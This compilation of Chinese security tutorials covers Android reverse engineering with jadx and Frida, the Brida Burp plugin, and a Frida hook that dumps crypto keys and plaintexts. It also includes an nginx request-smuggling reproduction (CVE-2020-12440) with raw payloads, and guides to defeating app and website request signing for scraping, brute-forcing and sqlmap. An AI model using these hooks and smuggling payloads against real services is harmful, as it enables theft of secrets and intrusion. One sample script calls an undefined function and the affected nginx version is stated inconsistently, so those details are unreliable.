安卓逆向 - 基础入门教程

安卓逆向 - 基础入门教程

本文转自小馒头yy 并作补充

一、引言

1、我们在采集app数据时,有些字段是加密的,如某麦网x-mini-wua x-sgext x-sign x-umt x-utdid等参数,这时候我们需要去分析加密字段的生成。本篇将以采集的角度讲解入门安卓逆向需要掌握的技能、工具。

2、安卓(Android)是一种基于Linux内核操作系统,架构图(了解即可)

image

3、安卓应用程序使用JAVA语言编写(重要),作为一名安卓逆向人员我们必须掌握Java语言基础(基本语法、类、接口、面向对象、网络类库、加密解密等等)

4、安卓逆向是对已经打包好的APP进行反编译,分析源码了解应用逻辑的一门技术,这一部分我们需要学习静态分析,动态分析。各种反编译工具(推荐 jadx),Frida Hook。

二、静态分析,学习jadx反编译

1、安装jadx,github地址: Releases · skylot/jadx · GitHub,下载 jadx-1.4.7.zip 解压即可。

image

2、调整jadx最大内存,打开bin目录下的 jadx-gui.bat文件,搜索DEFAULT_JVM_OPTS。

将 -XX:MaxRAMPercentage=70.0 修改成 -Xmx16g

image

3、jadx使用,打开apk,jadx会自动反编译apk

image

全局搜索:点击左上角的导航 - 文本搜索,输入关键字,并且下方可以筛选检索的位置

image

根据关键字定位到关键代码后,我们就可以进行分析加密参数的生成啦。

三、动态分析,Frida 初使用

1、安装 adb (Android Debug Bridge),通过命令行使用adb,对安卓设备进行操作

2、下载模拟器,我使用的逍遥模拟器 (有Root好的真机更棒)

模拟器启动后,在命令行依次执行命令:

1
2
3
4
adb forward tcp:27043 tcp:27043
adb forward tcp:27042 tcp:27042
adb connect 127.0.0.1:21503
adb devices

再执行 adb shell,即可进入模拟器, #字符代表已 Root

image

3、安装Frida

本地直接使用 pip install frida 命令安装 (需有Python环境)

模拟器(手机)端下载对应的Frida-server: Releases · frida/frida · GitHub

低版本安卓推荐下载:12.8.13,高版本安卓直接下载最新版

模拟器是 x86架构,真机是 arm架构,请下载对应的 frida-server

4、开启Hook,动态分析应用运行时数据

  • 将frida-server传到手机 /data/local/tmp 目录,转到本地frida-server存放的目录,依次执行以下命令
1
2
3
4
5
adb push frida-server-12.8.13-android-x86 /data/local/tmp
adb shell
cd /data/local/tmp
chmod 777 frida-server-12.8.13-android-x86
./frida-server-12.8.13-android-x86
  • 编写 hook脚本,使用js方式启动,本例为 hook URL的构造方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function hook1(){
var URL = Java.use('java.net.URL');
URL.$init.overload('java.lang.String').implementation= function(a){
console.log('加密前:'+a)
console.log(' ')
this.$init(a)
}
}

function main(){
Java.perform(function(){
hook();
})
}


setImmediate(main);
  • 开始 hook,注意高版本 frida不需要带 –no-pause
1
frida -U -l dm_hook.js -f cn.damai --no-pause

其中 dm_hook.js是 hook脚本的文件名,cn.damai是apk的包名。

滑动应用,正常打印出 url信息。

Burpsuite插件-Brida

Burpsuite插件-Brida

本文转自sam.li 并作补充

通过一道CTF题目来认识一下Frida
objection
前面两篇通过对Frida的了解,以及利用objection来分析,这篇来了解一下分析后实际利用,以及通过实现插件自动化的方式来利用。

Brida介绍

https://github.com/federicodotta/Brida

Brida components

image

官方使用文档翻译

时间记录,20230725;

测试版本:0.5

虽然说官方文档是最新的,但是使用文档的截图依旧跟新版本的插件不一致,然后能够查到的资料也是比较久的内容,不过大体功能是差不多,但是还是自己操作一遍后记录一下相关问题;

这里只记录自己测试的环境,其他环境参考官方文档;

Android

  1. 安装frida和其server,并启动具体可以参考通过一道CTF题目来认识一下Frida
  2. 配置brida

在配置之前先简单了解一下brida的UI及其功能;

image

1 主面板

这里包含所有brida工具和配置

  1. Configurations
  2. JS Editor
  3. Hooks and functions
  4. Graphical analysis
  5. Graphical hooks
  6. Custom plugins
  7. Generate stubs
  8. Debug export

2 brida按钮面板

Brida按钮面板由三个不同的部分组成:

  • 顶部(前两行)是 Pyro4 服务器的状态(启动/停止)和应用程序的状态(hook状态)
  • (在两条黄线上方的按钮)在中间有一组固定在Brida所有选项卡上的按钮。这些按钮用于执行常规任务,如启动/停止 Pyro4 服务器、生成/附加/停止/分离应用程序(使用 frida-compile 编译)、重新加载 JS 文件、编译重新加载JS、分离所有hook、清除log等。
  • (黄线下)底部有一组按钮,取决于特定的Brida子选项卡

3 brida控制台

log输出

brida工具介绍

Configurations

配置界面

从上往下依次是

  1. Pyro服务状态
  2. 应用状态
  3. 是否使用虚拟的python环境
  4. python可以执行文件的路径
  5. Pyro服务地址(默认)
  6. Pyro端口(默认)
  7. frida-complile可以执行文件的路径
  8. 是否使用旧版本的frida-complile,尽量使用10以下的版本,一开始用默认版本会出现问题,hook上了,但是总有奇怪的报错
  9. 包含所有Brida JS文件的文件夹,第一次需要先生成一下默认的JS文件
  10. 需要hook的应用名/PID,如果为应用名,则在连接的时候是点按钮面板的Spawn application,如果为PID,则Attach;
  11. Frida连接方式
  12. 如果配置是远程连接frida,需要配置对应的地址和端口;

image

JS Editor

image

集成到Burp Suite中的JS编辑器,以便能够编辑Brida JS文件并直接从Burp Suite添加自定义hook和导出函数。编辑器具有JS语法突出显示。

Hooks and functions

image

此选项卡包括许多默认hooks和方法,可以通过按钮启用/执行。这些Frida脚本包括最新的Android和iOS平台的hook能力,以绕过和检查安全功能。

Graphical analysis

image

Graphical analysis

这里功能类似于objection的能力集成进来:

1
2
3
4
5
6
7
8
load tree = android hooking list classes //展示所有class 

搜索 = android hooking search methods [search_name] //在内存中所有已加载的方法中搜索包含特定关键词的方法
//但是这里Android的用起来会导致应用闪退,官方提了这个,只有iOS支持;

双击对应的class = android hooking watch class com.xxx.xxx //hook指定类, 会打印该类下的所以调用
右键Inspect = android hooking watch class_method com.xxx.xxx.methodName --dump-args --dump-backtrace --dump-return //hook指定类, 会打印该类下的所以调用
右键change return vule = android hooking set return_value com.xxx.xxx.methodName false //设置返回值

实际使用

参考:通过一道CTF题目来认识一下Frida

对函数进行打印,然后替换返回值,但是这里官方提供的返回值没有byte

image

Graphical hooks

image

管理之前hook的所有内容;

Custom plugins

image

强大的功能;

可以理解成自定义生成burpsuite插件,有四种可自定义插件类型;

  • IHttpListener:能让所有请求,通过正则匹配去替换/修改指定的内容,并让这个匹配到的内容通过frida构造的hook脚本处理(加解密、重新生成sign等)
  • IMessageEditorTab:将自定义选项卡添加到Burp Suite请求/响应窗格,以便能够使用Frida导出的函数解密/解码/处理请求/响应(或其中的一部分)(然后加密/编码/处理修改并替换原始请求/响应,如果有)
  • IContextMenu:将自定义上下文菜单选项添加到Burp Suite的右键菜单中,用于在请求和响应(或其中的一部分)上调用Frida导出的函数
  • JButton:添加调用/启用 Frida 导出函数的按钮

Generate stubs

image

如果内部自定义插件引擎无法解决复杂情况,则可以从外部Burp Suite插件使用Brida引擎。此选项卡生成 Java 和 Python 存根,可以复制并粘贴到外部插件中,以便允许 Burp Suite 和 Frida 使用 Brida 进行通信。

Debug export

image

此选项卡可用于在 Brida 插件中使用 Frida 导出的函数之前对其进行调试。为了使用 Brida 自定义插件(或使用 Brida 的外部插件),有必要将 Frida 代码放入一些由插件调用的 Frida 导出函数中。在此选项卡中,可以直接调用 Frida 导出,以便轻松调试。

使用问题记录

Windows环境

Spawn/Attach application时报错:entrypoint must be inside the project root
【移动安全】Frida + Burp -> Brida | APP加解密 | CN-SEC 中文网

把Frida的js文件放到burpsuite应用的目录下;

在Debug export中Run export是报错[frida.core.RPCException] unable to find method ‘test’
排查了很久,只找到了frida-compile版本过高这种情况,只能测试一下低版本是否会有问题,用npm在burpsuite应用的目录下执行npm install frida-compile@9.5.2,然后将安装的目录配置到frida-compile path中就能解决;

使用了低版本的frida-compile后报错java.io.IOException: Cannot run program

1
2
"C:\AAAA\agent\BurpSuiteCommunity\node_modules\.bin\frida-compile": 
CreateProcess error=193, %1 不是有效的 Win32 应用程序。

一开始配置没有带.cmd

image

image

image

UnicodeEncodeError: ‘gbk’ codec can’t encode

1
character '\u03f1' in position 49: illegal multibyte sequence**

刚好遇到一个反编译后用中文混淆的,这里用objection和python执行相关处理的时候就会报编码错误,在对应路径相关代码输出处加上utf-8编码输出就能解决;然后objection需要修改后重新编译;

image

源码解析

java调用python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# -*- coding: utf-8 -*-
import frida
import codecs
import Pyro4
import sys

#reload(sys)
#sys.setdefaultencoding('utf-8')

class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def writelines(self, datas):
self.stream.writelines(datas)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)

@Pyro4.expose
class BridaServicePyro:
def __init__(self, daemon):
self.daemon = daemon

def attach_application(self,pid,frida_script,device,host_port_device_id):

self.frida_script = frida_script

if pid.isnumeric():
self.pid = int(pid)
else:
self.pid = pid

if device == 'remote':
self.device = frida.get_remote_device()
elif device == 'usb':
self.device = frida.get_usb_device()
elif device == 'local':
self.device = frida.get_local_device()
elif device == 'device':
self.device = frida.get_device(host_port_device_id)
else:
self.device = frida.get_device_manager().add_remote_device(host_port_device_id)

self.session = self.device.attach(self.pid)

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def spawn_application(self,application_id,frida_script,device,host_port_device_id):

self.application_id = application_id
self.frida_script = frida_script

if device == 'remote':
self.device = frida.get_remote_device()
elif device == 'usb':
self.device = frida.get_usb_device()
elif device == 'local':
self.device = frida.get_local_device()
elif device == 'device':
self.device = frida.get_device(host_port_device_id)
else:
self.device = frida.get_device_manager().add_remote_device(host_port_device_id)

self.pid = self.device.spawn([self.application_id])

self.session = self.device.attach(self.pid)

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def resume_application(self):

self.device.resume(self.pid)

return

def reload_script(self):

with codecs.open(self.frida_script, 'r', 'utf-8') as f:
source = f.read()

self.script = self.session.create_script(source)
self.script.load()

return

def disconnect_application(self):

self.device.kill(self.pid)
return

def detach_application(self):

self.session.detach()
return

def callexportfunction(self, methodName, args):
method_to_call = getattr(self.script.exports, methodName)

# Take the Java list passed as argument and create a new variable list of argument
# (necessary for bridge Python - Java, I think)
s = []
for i in args:
s.append(i)

return_value = method_to_call(*s)
return return_value

@Pyro4.oneway
def shutdown(self):
print('shutting down...')
self.daemon.shutdown()

# Disable python buffering (cause issues when communicating with Java...)
sys.stdout = Unbuffered(sys.stdout)
sys.stderr = Unbuffered(sys.stderr)

host = sys.argv[1]
port = int(sys.argv[2])
daemon = Pyro4.Daemon(host=host,port=port)

#daemon = Pyro4.Daemon(host='127.0.0.1',port=9999)
bs = BridaServicePyro(daemon)
uri = daemon.register(bs,objectId='BridaServicePyro')

print("Ready.")
daemon.requestLoop()

brida从0配置

brida从0配置

本文转自how=time 并作补充

前言

因为最近测的一个app,做了ssl pinning。查了一下资料,可以使用frida从内存中hook
住加密函数,用来解密传输信息。而brida是连接frida与burp的桥梁。使用了brida就可以正常使用burp抓取加密数据包。而网上关于brida的安装环境都不是最新的。brida原本默认是py2的,现在0.4版本已经支持py3的环境。接下来,我就带大家从0开始安装环境吧。

基础环境

  • 系统 win10
  • python 3.8.3
  • java 13
  • 夜神模拟器 android版本7.0
  • burp 2020.5 crack
  • node 14.4.0

基本上是一个全新的环境。adb,frida也都没有配置。问题不大。

设置与准备

1.brida下载安装

github上的release

此时两个status还未启动起来,那需要我们去配置frida的环境了。

或者burpsuite中BAPP store安装

2.adb设置

adb是连接模拟器和电脑的桥梁

adb的版本需要和nox的版本一致。我们可以直接使用everything去查找nox的adb,然后配置环境变量即可。

3.frida设置

frida分为server和client

客户端安装frida

这一步比较容易,pip安装即可

我们可以设置pip国内源来加快安装

1.进入c盘用户文件夹,新建pip的目录。pip目录下新建pip.ini的文件。

2.在pip.ini中添加下面代码:

1
2
3
4
5
6
[global]
timeout=6000
index-url=https://pypi.tuna.tsinghua.edu.cn/simple
trusted-host=pypi.tuna.tsinghua.edu.cn

# pip源同样适用python3和python2。(适用python2的firda下载包时可能会出现卡死,可以试试这个方法改善)
安装第三方库
1
2
3
pip install Pyro4
pip install frida-tools
npm install frida-compile #这个生成frida-conpile.cmd.burpsuite中需要填写frida compile path

服务端安装frida

查看模拟器cpu版本

1
getprop ro.product.cpu.abi

根据cpu版本选择frida-server

将下载好的文件解压并放入/data/local/tmp 模拟器中。在adb 进入模拟器,文件赋值777后启动server

1
2
3
4
5
adb push C:\Users\howti\Desktop\frida-server-12.9.7-android-x86 /data/local/tmp
adb shell
cd /data/local/tmp/
chmod 777 frida-server-12.9.7-android-x86
./frida-server-12.9.7-android-x86

android版本最好使用android7,不然会一些报错。

什么都不显示即可

将frida端口转发

1
2
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043

4.burp设置

设置代理

设置brida

  • Python binary path: 就填入python3的路径(使用brida0.4就可以支持py3)
  • Pyro host: 默认
  • Pyro port: 默认
  • frida-compile: (frida-compile的二进制文件的路径)之前npm安装的包,里面有frida-compile.cmd .使用everything搜索frida 然后填入.
  • Frida JS files folder: 包含带有所有Frida和Brida钩子和导出文件的Frida工具JavaScript文件的文件夹的路径。我们可以使用默认文件夹

运行brida

我之前的环境找不到了,我用自己本机的环境结个图吧

  • 获取 android包名

  • 启动server 和Spawn application

正常启动,全绿。
配置完成
这里给出一件启动server的脚本(图中用的startfridaservice.py)
python3 startfridaserver.py 即可

链接:https://pan.baidu.com/s/11IdhpG8I5vMb1q33-7C4qg
提取码:46c0

Frida java层自吐加密算法

Frida java层自吐加密算法

本文转自愧怍 并作补充

代码

针对 java 层加密算法,能 hook 到 java 自带的加密函数库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
const config = {
showStacks: false,
showDivider: true,
}

Java.perform(function () {
// console.log('frida 已启动');
function showStacks(name = '') {
if (config.showStacks) {
console.log(Java.use('android.util.Log').getStackTraceString(Java.use('java.lang.Throwable').$new(name)))
}
}

function showDivider(name = '') {
if (config.showDivider) {
console.log(`==============================${name}==============================`)
}
}

function showArguments() {
console.log('arguments: ', ...arguments)
}

const ByteString = Java.use('com.android.okhttp.okio.ByteString')
const Encode = {
toBase64(tag, data) {
console.log(tag + ' Base64: ', ByteString.of(data).base64())
// console.log(tag + ' Base64: ', bytesToBase64(data));
},
toHex(tag, data) {
console.log(tag + ' Hex: ', ByteString.of(data).hex())
// console.log(tag + ' Hex: ', bytesToHex(data));
},
toUtf8(tag, data) {
console.log(tag + ' Utf8: ', ByteString.of(data).utf8())
// console.log(tag + ' Utf8: ', bytesToString(data));
},
toAll(tag, data) {
Encode.toUtf8(tag, data)
Encode.toHex(tag, data)
Encode.toBase64(tag, data)
},
toResult(tag, data) {
Encode.toHex(tag, data)
Encode.toBase64(tag, data)
},
}

const MessageDigest = Java.use('java.security.MessageDigest')
{
let overloads_update = MessageDigest.update.overloads
for (const overload of overloads_update) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
Encode.toAll(`${algorithm} update data`, arguments[0])
return this.update(...arguments)
}
}

let overloads_digest = MessageDigest.digest.overloads
for (const overload of overloads_digest) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.digest(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} digest result`, result)
return result
}
}
}

const Mac = Java.use('javax.crypto.Mac')
{
Mac.init.overload('java.security.Key', 'java.security.spec.AlgorithmParameterSpec').implementation = function (key, AlgorithmParameterSpec) {
return this.init(key, AlgorithmParameterSpec)
}
Mac.init.overload('java.security.Key').implementation = function (key) {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const keyBytes = key.getEncoded()
Encode.toAll(`${algorithm} init Key`, keyBytes)
return this.init(...arguments)
}

// let overloads_update = Mac.update.overloads;
// for (const overload of overloads_update) {
// overload.implementation = function () {
// const algorithm = this.getAlgorithm();
// showDivider(algorithm);
// showStacks(algorithm);
// Encode.toAll(`${algorithm} update data`, arguments[0]);
// return this.update(...arguments);
// };
// }

let overloads_doFinal = Mac.doFinal.overloads
for (const overload of overloads_doFinal) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.doFinal(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} doFinal result`, result)
return result
}
}
}

const Cipher = Java.use('javax.crypto.Cipher')
{
let overloads_init = Cipher.init.overloads
for (const overload of overloads_init) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)

if (arguments[0]) {
const mode = arguments[0]
console.log(`${algorithm} init mode`, mode)
}

if (arguments[1]) {
const className = JSON.stringify(arguments[1])
// 安卓10以上私钥是有可能输出不了的
if (className.includes('OpenSSLRSAPrivateKey')) {
// const keyBytes = arguments[1];
// console.log(`${algorithm} init key`, keyBytes);
} else {
const keyBytes = arguments[1].getEncoded()
Encode.toAll(`${algorithm} init key`, keyBytes)
}
}

if (arguments[2]) {
const className = JSON.stringify(arguments[2])
if (className.includes('javax.crypto.spec.IvParameterSpec')) {
const iv = Java.cast(arguments[2], Java.use('javax.crypto.spec.IvParameterSpec'))
const ivBytes = iv.getIV()
Encode.toAll(`${algorithm} init iv`, ivBytes)
} else if (className.includes('java.security.SecureRandom')) {
}
}

return this.init(...arguments)
}
}

// let overloads_update = Cipher.update.overloads;
// for (const overload of overloads_update) {
// overload.implementation = function () {
// const algorithm = this.getAlgorithm();
// showDivider(algorithm);
// showStacks(algorithm);
// Encode.toAll(`${algorithm} update data`, arguments[0]);
// return this.update(...arguments);
// };
// }

let overloads_doFinal = Cipher.doFinal.overloads
for (const overload of overloads_doFinal) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.doFinal(...arguments)
if (arguments.length === 1) {
Encode.toAll(`${algorithm} update data`, arguments[0])
} else if (arguments.length === 3) {
Encode.toAll(`${algorithm} update data`, arguments[0])
}

Encode.toResult(`${algorithm} doFinal result`, result)
return result
}
}
}

const Signature = Java.use('java.security.Signature')
{
let overloads_update = Signature.update.overloads
for (const overload of overloads_update) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
Encode.toAll(`${algorithm} update data`, arguments[0])
return this.update(...arguments)
}
}

let overloads_sign = Signature.sign.overloads
for (const overload of overloads_sign) {
overload.implementation = function () {
const algorithm = this.getAlgorithm()
showDivider(algorithm)
showStacks(algorithm)
const result = this.sign()
Encode.toResult(`${algorithm} sign result`, result)
return this.sign(...arguments)
}
}
}
})

(CVE-2020-12440)Nginx \<= 1.8.0 请求走私

(CVE-2020-12440)Nginx <= 1.8.0 请求走私

本文转自nosafer 并作补充

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。

二、漏洞影响

Nginx <= 1.8.0

三、复现过程

image

Request

1
2
3
4
5
6
7
GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request(200 OK + 405 Method Not Allowed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response(200 OK + 405 Method Not Allowed)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Request(200 OK + 404 Not Found)

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response(200 OK + 404 Not Found)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

BurpSuite作为代理,复用目标站点的js代码处理指定的内容

BurpSuite作为代理,复用目标站点的js代码处理指定的内容

本文转自thinkoaa 并作补充

0x01 前言

之前写了一个burp插件,直接使用目标站点的加密js来解决用intruder模块爆破时的payload加密问题

地址:https://www.freebuf.com/sectool/242363.html

除了上面的情况外,有时还会遇到把burp当作代理,调用网站的js代码处理来自浏览器、sqlmap等工具的内容情况。

比如目标网站的参数调用了js加密算法,不管是手动访问也好,还是sqlmap注入也好,需要调用指定算法处理参数,用python或java重写算法的话呢,时间成本太高,有些算法还挺复杂……但,如果能够直接复用目标网站的js代码的话就太方便了。

因此,简单写了一个burp suite插件,专门解决上述问题:下载地址:JSFlash

使用步骤是 可以参考我之前另一个插件的文章 参考地址

  1. 1.把目标站点的相关js代码放到本地js文件中,调试可用;
  2. 2.把JSFlash插件导入到Burp Suite中,在插件中加载指定的js文件并填写对应的参数;
  3. 3.抓包发repeater做测试,如果效果符合预期,则该插件会根据指定的规则,调用js代码,处理指定的内容。

效果图:

image

0x02 使用方法

1.从目标站点复制修改或者手动写好js代码,调试正确

image

image

因为插件是通过java调用js,因此window、document等对象及方法,还有一些很新的js特性可能在浏览器中执行正确,但插件调用时会报错,因此插件会把可能产生的错误信息弹出显示,方便根据实际逻辑修改,根据我的经历来看,不管多复杂,只要耐心点,没有改不了的情况,如图:

image

image

再举一个例:

image

image

2.导入插件,设置参数

image

2.1 设置url,一定要用burp的Copy URL菜单复制,不要手动填写,以免出错:

image

image

2.2 设置处理指定内容的规则

GET方式:

image

image

php代码如图:

image

处理结果:

image

POST方式:

image

image

php代码如图:

image

结果如图:

image

一次调用多个方法,处理多个指定内容:

数据包:

image

规则:

image

php代码:

image

结果:

image

0x03 总结

这个插件用到的时候,需要具体情况具体分析,不过思路是这么个思路,目的就是复用js代码,提高工作效率。

JS逆向-数据包解签名实战案例

JS逆向-数据包解签名实战案例

本文转自ichi9o 并作补充

0x00 前言

通常情况下,数据包中的签名字段会包含sign字符串,如signappsign等等,然后根据字段在JS代码中寻找签名的过程,并进行分析。
以下内容为一个真实案例,撒,哈气灭路!

0x01 获取被签名数据

通过数据包可知该网站的签名字段是 sign

image

在浏览器中的源代码搜索字段sign,找到签名代码
首当其冲的就是app.*.js样式的文件,在app.72b81572.js文件中发现了可疑点

image

分析 function k(e) 可知,是要对 r 参数进行签名的,r 又跟e、t、a、n 这几个参数相关,因此要搞清楚这几个参数的值是怎么来的,所有就在函数开始的第一行就下断点来跟进。

1
2
3
4
5
6
7
8
9
10
11
12
function k(e) {
const t = g()
, n = m();
let a;
a = e ? b(e) : {};
const r = e ? `${c.a.stringify(a.hasParams)}&${t}&time=${n}` : `&${t}&time=${n}`;
return e = Object.assign({}, a.params, {
sign: h()(decodeURIComponent(r)),
time: n
}),
e
}

首先是 t,跟进 g 函数,执行到 return 就可以发现 t = 年 + “5616” + 月 + 日

image

然后就是 n,这个 e 的值呢,根据跟进可知是 cookie 里面的,不过这个 e 在本案例的作用不大,最后通过 return 就可以知道返回的值就是:当前时间戳- e

image

接下来就是 a,根据返回的结果可知 a 的值和 e 相同,通过分析数据包可知,e的内容即请求参数(GET)或请求体(POST)

image

然后 r 的值就出来了,也就是签名的明文

image

综上所述
r = 请求内容 + & + t + & + n(这里的请求内容需要注意的是,POST Data是Json格式的要转换为:key1=value1&key1=value1…)
其中
t = 年 + “5616” + 月 + 日
n = 当前时间戳(本案例可不减e也可成功)

0x02 分析加密算法

将断点打在签名代码行,跟进代码的执行,发现加密的类名是 Md5,所有可以计算 r 的 md5 值,与代码执行的 sign 结果进行比较。

image

可以看到,该网站使用的是 md5 计算的 sign

image

0x03 编写 mitmproxy 脚本

mitmproxy 脚本是实时加载的,因此 mitmproxy 只要带着脚本运行,就可以边调试了。
mitmproxy 使用命令

1
mitmdump -p 777 -s .\mitmscript.py --flow-detail 0

image

关于脚本的编写这里给出以下 mitmproxy 的一些常用的属性和方法ctx:

  • ctx.log.info(): 用于在 mitmproxy 的日志中输出信息。
  • ctx.options: 用于访问 mitmproxy 的配置选项,您可以在配置文件中定义这些选项。
  • ctx.master: mitmproxy 的 Master 对象,提供了一些控制代理行为的方法。
  • ctx.proxy: mitmproxy 的 ProxyConfig 对象,提供了有关代理配置的信息。
  • ctx.client: mitmproxy 的 ClientConnection 对象,表示客户端连接的相关信息。
  • ctx.server: mitmproxy 的 ServerConnection 对象,表示服务器连接的相关信息。
  • ctx.protocol: mitmproxy 的 ProtocolHandler 对象,表示处理请求和响应的协议处理器。

在 mitmproxy 脚本中,可以使用以下一些回调函数来处理不同阶段的 flow 对象:

  • def request(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到请求时调用此回调函数,可以获取和处理请求的各种信息。
  • def response(flow: mitmproxy.http.HTTPFlow) -> None: 当 mitmproxy 拦截到响应时调用此回调函数,可以获取和处理响应的各种信息。
  • def error(flow: mitmproxy.http.HTTPFlow) -> None: 当请求或响应出现错误时调用此回调函数,可以获取和处理错误信息。
